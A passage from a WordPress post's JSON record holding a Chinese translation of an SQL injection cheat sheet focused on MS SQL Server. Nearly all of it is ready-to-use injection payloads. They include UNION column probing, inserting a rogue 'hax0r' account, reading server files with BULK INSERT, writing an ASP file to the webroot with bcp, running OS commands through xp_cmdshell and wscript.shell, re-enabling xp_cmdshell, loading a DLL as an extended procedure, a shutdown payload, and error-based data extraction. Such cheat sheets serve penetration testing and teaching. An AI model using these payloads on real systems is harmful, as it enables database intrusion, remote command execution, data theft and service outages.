cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">CAST()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u548c<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">CONVERT()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<ul>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 \u2013-<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u6ca1\u62a5\u9519 &#8211; \u8bed\u6cd5\u662f\u6b63\u786e\u7684\u3002 \u8fd9\u662fMS SQL Server\u7684\u8bed\u6cd5\u3002 \u7ee7\u7eed\u3002<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 \u2013-<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u6ca1\u62a5\u9519 \u2013 \u7b2c\u4e00\u4e2a\u5b57\u6bb5\u662f<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">integer<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u7c7b\u578b\u3002<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u62a5\u9519 \u2013 \u7b2c\u4e8c\u4e2a\u5b57\u6bb5\u4e0d\u662f<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">integer<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u7c7b\u578b<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">11223344) UNION SELECT 1,\u20192\u2019,NULL,NULL WHERE 1=2 \u2013-<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u6ca1\u62a5\u9519 \u2013 \u7b2c\u4e8c\u4e2a\u5b57\u6bb5\u662f<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">string<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u7c7b\u578b\u3002<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">11223344) UNION SELECT 1,\u20192\u2019,3,NULL WHERE 1=2 \u2013-<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u62a5\u9519 \u2013 \u7b2c\u4e09\u4e2a\u5b57\u6bb5\u4e0d\u662f<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">integer<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\u2026\u2026\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ul>\n<p>\u4f60\u5728\u9047\u5230union\u9519\u8bef\u4e4b\u524d\u4f1a\u5148\u9047\u5230convert()\u9519\u8bef\uff0c\u6240\u4ee5\u5148\u4f7f\u7528convert()\u518d\u7528union<\/p>\n<h3><a name=\"t32\"><\/a>\u7b80\u5355\u7684\u6ce8\u5165(MSO+)<\/h3>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">'; insert into users values( 1, 'hax0r', 'coolpass', 9 )\/*<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<h3><a name=\"t33\"><\/a>\u6709\u7528\u7684\u51fd\u6570\u3001\u4fe1\u606f\u6536\u96c6\u3001\u5185\u7f6e\u7a0b\u5e8f\u3001\u5927\u91cf\u6ce8\u5165\u7b14\u8bb0<\/h3>\n<h4><a name=\"t34\"><\/a><\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">@@version<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>(MS)<\/h4>\n<p>\u6570\u636e\u5e93\u7684\u7248\u672c\u3002\u8fd9\u662f\u4e2a\u5e38\u91cf\uff0c\u4f60\u80fd\u628a\u5b83\u5f53\u505a\u5b57\u6bb5\u6765SELECT\uff0c\u800c\u4e14\u4e0d\u9700\u8981\u63d0\u4f9b\u8868\u540d\u3002\u540c\u6837\u7684\u4f60\u4e5f\u53ef\u4ee5\u7528\u5728INSERT\/UPDATE\u8bed\u53e5\u91cc\u9762\uff0c\u751a\u81f3\u662f\u51fd\u6570\u91cc\u9762\u3002<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<h4><a name=\"t35\"><\/a>\u6587\u4ef6\u63d2\u5165(Bulk Insert)(S)<\/h4>\n<p>\u628a\u6587\u4ef6\u5185\u5bb9\u63d2\u5165\u5230\u8868\u4e2d\u3002\u5982\u679c\u4f60\u4e0d\u77e5\u9053\u5e94\u7528\u76ee\u5f55\u4f60\u53ef\u4ee5\u53bb\u8bfb\u53d6IIS metabase file(\u4ec5IIS 6)(%systemroot%\\system32\\inetsrv\\MetaBase.xml)\u7136\u540e\u5728\u91cc\u9762\u627e\u5230\u5e94\u7528\u76ee\u5f55\u3002<\/p>\n<ol>\n<li>\u65b0\u5efa\u4e00\u4e2a\u8868foo(\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">line varchar(8000)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>)<\/li>\n<li>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">BULK INSERT foo FROM 'c:\\inetpub\\wwwroot\\login.asp'<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>DROP\u4e86\u4e34\u65f6\u8868\uff0c\u91cd\u590d\u53e6\u4e00\u4e2a\u6587\u4ef6<\/li>\n<\/ol>\n<h4><a name=\"t36\"><\/a>BCP(S)<\/h4>\n<p>\u5199\u5165\u6587\u4ef6\u3002\u8fd9\u4e2a\u529f\u80fd\u9700\u8981\u767b\u5f55&nbsp;<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">bcp &quot;SELECT * FROM test..foo&quot; queryout c:\\inetpub\\wwwroot\\runcommand.asp -c -Slocalhost -Usa -Pfoobar<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<h4><a name=\"t37\"><\/a>SQL Server\u7684VBS\/WSH(S)<\/h4>\n<p>\u7531\u4e8eActiveX\u7684\u652f\u6301\uff0c\u4f60\u80fd\u5728SQL Server\u4e2d\u4f7f\u7528VBS\/WSH<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<blockquote><p>Username:&nbsp;<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/blockquote>\n<h4><a name=\"t38\"><\/a>\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0cxp_cmdshell(S)<\/h4>\n<p>\u4f17\u6240\u5468\u77e5\u7684\u6280\u5de7\uff0cSQL Server 2005\u9ed8\u8ba4\u662f\u5173\u95ed\u7684\u3002\u4f60\u9700\u8981admin\u6743\u9650<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u7528ping\u7b80\u5355\u7684\u6d4b\u8bd5\u4e00\u4e0b\uff0c\u7528\u4e4b\u524d\u5148\u68c0\u67e5\u4e00\u4e0b\u9632\u706b\u5899\u548c\u55c5\u63a2\u5668\u3002<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">EXEC master.dbo.xp_cmdshell 'ping '<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u5982\u679c\u6709\u9519\u8bef\uff0c\u6216\u8005union\u6216\u8005\u5176\u4ed6\u7684\u4ec0\u4e48\uff0c\u4f60\u90fd\u4e0d\u80fd\u76f4\u63a5\u8bfb\u5230\u7ed3\u679c\u3002<\/p>\n<h4><a name=\"t39\"><\/a>SQL Server\u4e2d\u7684\u4e00\u4e9b\u7279\u6b8a\u7684\u8868(S)<\/h4>\n<ul>\n<li>Error Messages\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">master..sysmessages<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>Linked Servers\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">master..sysservers<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>Password (2000\u548c2005\u7248\u672c\u7684\u90fd\u80fd\u88ab\u7834\u89e3\uff0c\u8fd9\u4fe9\u7684\u52a0\u5bc6\u7b97\u6cd5\u5f88\u76f8\u4f3c)SQL Server 2000: masters..sysxloginsSQL Server 2005 : sys.sql_logins<\/li>\n<\/ul>\n<h4><a name=\"t40\"><\/a>SQL Server\u7684\u5176\u5b83\u5185\u7f6e\u7a0b\u5e8f(S)<\/h4>\n<ol>\n<li>\u547d\u4ee4\u6267\u884c (xp_cmdshell)\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">exec master..xp_cmdshell 'dir'<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\u6ce8\u518c\u8868\u64cd\u4f5c (xp_regread)\n<ol>\n<li>xp_regaddmultistring<\/li>\n<li>xp_regdeletekey<\/li>\n<li>xp_regdeletevalue<\/li>\n<li>xp_regenumkeys<\/li>\n<li>xp_regenumvalues<\/li>\n<li>xp_regread<\/li>\n<li>xp_regremovemultistring<\/li>\n<li>xp_regwrite\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\\CurrentControlSet \\Services\\lanmanserver\\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM \\CurrentControlSet \\Services\\snmp\\parameters\\validcommunities'<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ol>\n<\/li>\n<li>\u7ba1\u7406\u670d\u52a1(xp_servicecontrol)<\/li>\n<li>\u5a92\u4f53(xp_availablemedia)<\/li>\n<li>ODBC \u8d44\u6e90 (xp_enumdsn)<\/li>\n<li>\u767b\u5f55 (xp_loginconfig)<\/li>\n<li>\u521b\u5efaCab\u6587\u4ef6 (xp_makecab)<\/li>\n<li>\u57df\u540d\u5217\u4e3e (xp_ntsec_enumdomains)<\/li>\n<li>\u6740\u8fdb\u7a0b (need PID) (xp_terminate_process)<\/li>\n<li>\u65b0\u5efa\u8fdb\u7a0b (\u5b9e\u9645\u4e0a\u4f60\u60f3\u5e72\u561b\u90fd\u884c)\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">sp_addextendedproc \u2018xp_webserver\u2019, \u2018c:\\temp\\x.dll\u2019 exec xp_webserver<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<li>\u5199\u6587\u4ef6\u8fdbUNC\u6216\u8005\u5185\u90e8\u8def\u5f84 (sp_makewebtask)<\/li>\n<\/ol>\n<h4><a name=\"t41\"><\/a>\u5927\u91cfMSSQL\u7b14\u8bb0<\/h4>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT * FROM master..sysprocesses \/*WHERE spid=@@SPID*\/<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1\/0<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>HOST_NAME() IS_MEMBER (Transact-SQL)<br \/>\nIS_SRVROLEMEMBER (Transact-SQL)<br \/>\nOPENDATASOURCE (Transact-SQL)<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">INSERT tbl EXEC master..xp_cmdshell OSQL \/Q&quot;DBCC SHOWCONTIG&quot;<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>OPENROWSET (Transact-SQL) &#8211; http:\/\/msdn2.microsoft.com\/en-us\/library\/ms190312.aspx<\/p>\n<p>\u4f60\u4e0d\u80fd\u5728 SQL Server \u7684Insert\u67e5\u8be2\u91cc\u4f7f\u7528\u5b50\u67e5\u8be2(sub select).<\/p>\n<h4><a name=\"t42\"><\/a>\u4f7f\u7528LIMIT(M)\u6216ORDER(MSO)\u7684\u6ce8\u5165<\/h4>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'\/*,10 ;<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u5982\u679c\u6ce8\u5165\u70b9\u5728LIMIT\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5904\uff0c\u4f60\u53ef\u4ee5\u628a\u5b83\u6ce8\u91ca\u6389\u6216\u8005\u4f7f\u7528union\u6ce8\u5165\u3002<\/p>\n<h4><a name=\"t43\"><\/a>\u5173\u6389SQL Server(S)<\/h4>\n<p>\u5982\u679c\u4f60\u771f\u7684\u6025\u4e86\u773c\uff0c<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">';shutdown --<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<h3><a name=\"t44\"><\/a>\u5728SQL Server 2005\u4e2d\u542f\u7528xp_cmdshell<\/h3>\n<p>\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cSQL Server 2005\u4e2d\u50cfxp_cmdshell\u4ee5\u53ca\u5176\u5b83\u5371\u9669\u7684\u5185\u7f6e\u7a0b\u5e8f\u90fd\u662f\u88ab\u7981\u7528\u7684\u3002\u5982\u679c\u4f60\u6709admin\u6743\u9650\uff0c\u4f60\u5c31\u53ef\u4ee5\u542f\u52a8\u5b83\u4eec\u3002<\/p>\n<p>`<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">\\<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;EXEC sp_configure &#8216;show advanced options&#8217;,1 RECONFIGURE<\/p>\n<p>EXEC sp_configure &#8216;xp_cmdshell&#8217;,1 RECONFIGURE `<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">\\<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<h3><a name=\"t45\"><\/a>\u63a2\u6d4bSQL Server\u6570\u636e\u5e93\u7684\u7ed3\u6784(S)<\/h3>\n<h4><a name=\"t46\"><\/a>\u83b7\u53d6\u7528\u6237\u5b9a\u4e49\u8868<\/h4>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT name FROM sysobjects WHERE xtype = 'U'<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<h4><a name=\"t47\"><\/a>\u83b7\u53d6\u5b57\u6bb5\u540d<\/h4>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<h3><a name=\"t48\"><\/a>\u79fb\u52a8\u8bb0\u5f55(Moving records)(S)<\/h3>\n<ul>\n<li>\u4fee\u6539WHERE\uff0c\u4f7f\u7528NOT IN\u6216\u8005NOT EXIST&nbsp;\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">... WHERE users NOT IN ('First User', 'Second User')<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;<\/p>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>&nbsp;&#8212; \u8fd9\u4e2a\u597d\u7528<\/li>\n<li>\u810f\u7684\u4e0d\u884c\u7684\u5c0f\u6280\u5de7\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id&amp;lt;=o.id) AS x, name from sysobjects o) as p where p.x=3) as int<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id&amp;lt;=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<\/li>\n<\/ul>\n<h3><a name=\"t49\"><\/a>\u5feb\u901f\u7684\u8131\u6389\u57fa\u4e8e\u9519\u8bef(Error Based)\u7684SQL Server\u6ce8\u5165(S)<\/h3>\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name&amp;gt;@rd SELECT @rd AS rd into TMP_SYS_TMP end;--<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>\u8be6\u60c5\u8bf7\u53c2\u8003\uff1a<a href=\"http:\/\/ferruh.mavituna.com\/makale\/fast-way-to-extract-data-from-error-based-sql-injections\/\" target=\"_blank\" rel=\"noopener noreferrer\">Fast way to extract data from Error Based SQL Injections<\/a><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u672c\u6587\u7531Yinzo\u7ffb\u8bd1\uff0c\u8f6c\u8f7d\u8bf7\u4fdd\u7559\u7f72\u540d\u3002\u539f\u6587\u5730\u5740\uff1ahttp:\/\/ferruh.ma &hellip; <a href=\"https:\/\/www.cnmiss.cn\/?p=450\">\u7ee7\u7eed\u9605\u8bfb <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[23,24,64],"class_list":["post-450","post","type-post","status-publish","format-standard","hentry","category-xxbj","tag-mssql","tag-mysql","tag-sql"],"_links":{"self":[{"href":"https:\/\/www.cnmiss.cn\/index.php?rest_route=\/wp\/v2\/posts\/450","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.cnmiss.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.cnmiss.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.cnmiss.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.cnmiss.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=450"}],"version-history":[{"count":0,"href":"https:\/\/www.cnmiss.cn\/index.php?rest_route=\/wp\/v2\/posts\/450\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.cnmiss.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=450"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.cnmiss.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=450"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.cnmiss.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=450"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}